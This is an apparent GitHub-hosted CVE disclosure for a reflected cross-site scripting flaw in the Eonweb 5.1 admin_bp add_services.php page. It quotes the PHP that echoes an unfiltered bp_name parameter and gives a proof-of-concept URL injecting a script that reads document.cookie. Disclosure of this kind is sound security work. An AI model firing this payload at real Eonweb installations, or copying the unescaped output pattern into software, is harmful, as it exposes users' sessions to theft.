Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
cve/Eonweb_module_admin_bp_add_services_XSS
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
43 lines (29 sloc)
1.31 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Eonweb_module_admin_bp_add_services cross-site scripting (XSS) | |
| Powered by shaojiejiang from 360 SkyEye Labs | |
| version: 5.1 | |
| https://github.com/EyesOfNetworkCommunity/eonweb | |
| Vulnerability details | |
| # 0x01 | |
| /module/admin_bp/add_services.php Line 26 and Line 41 | |
| $bp_name = isset($_GET['bp_name']) ? $_GET['bp_name'] : false; | |
| $display_actually_bp = isset($_GET['display']) ? $_GET['display'] : false; | |
| try { | |
| $bdd = new PDO("mysql:host=$database_host;dbname=nagiosbp", $database_username, $database_password); | |
| } | |
| catch(Exception $e) { | |
| echo "Connection failed: " . $e->getMessage(); | |
| exit('Impossible de se connecter à la base de données.'); | |
| } | |
| print "<div id=\"page-wrapper\">"; | |
| print "<div class=\"row\">"; | |
| print "<div class=\"col-lg-12\">"; | |
| print "<h1 class=\"page-header bp_name\">".getLabel("label.admin_bp.business_process")." : $bp_name</h1>"; | |
| print "</div>"; | |
| print "</div>"; | |
| $_GET['bp_name'] has not been filtered to cause cross-site scripting (XSS) | |
| # 0x02 | |
| EXP: | |
| URL:https://192.168.227.169/module/admin_bp/add_services.php?bp_name=123<script>alert(document.cookie)</script>&display=3 | |
| the return page has the payload: | |
| <div id="page-wrapper"><div class="row"><div class="col-lg-12"><h1 class="page-header bp_name"> | |
| Business process : 123<script>alert(document.cookie)</script></h1></div></div><div class="row"> |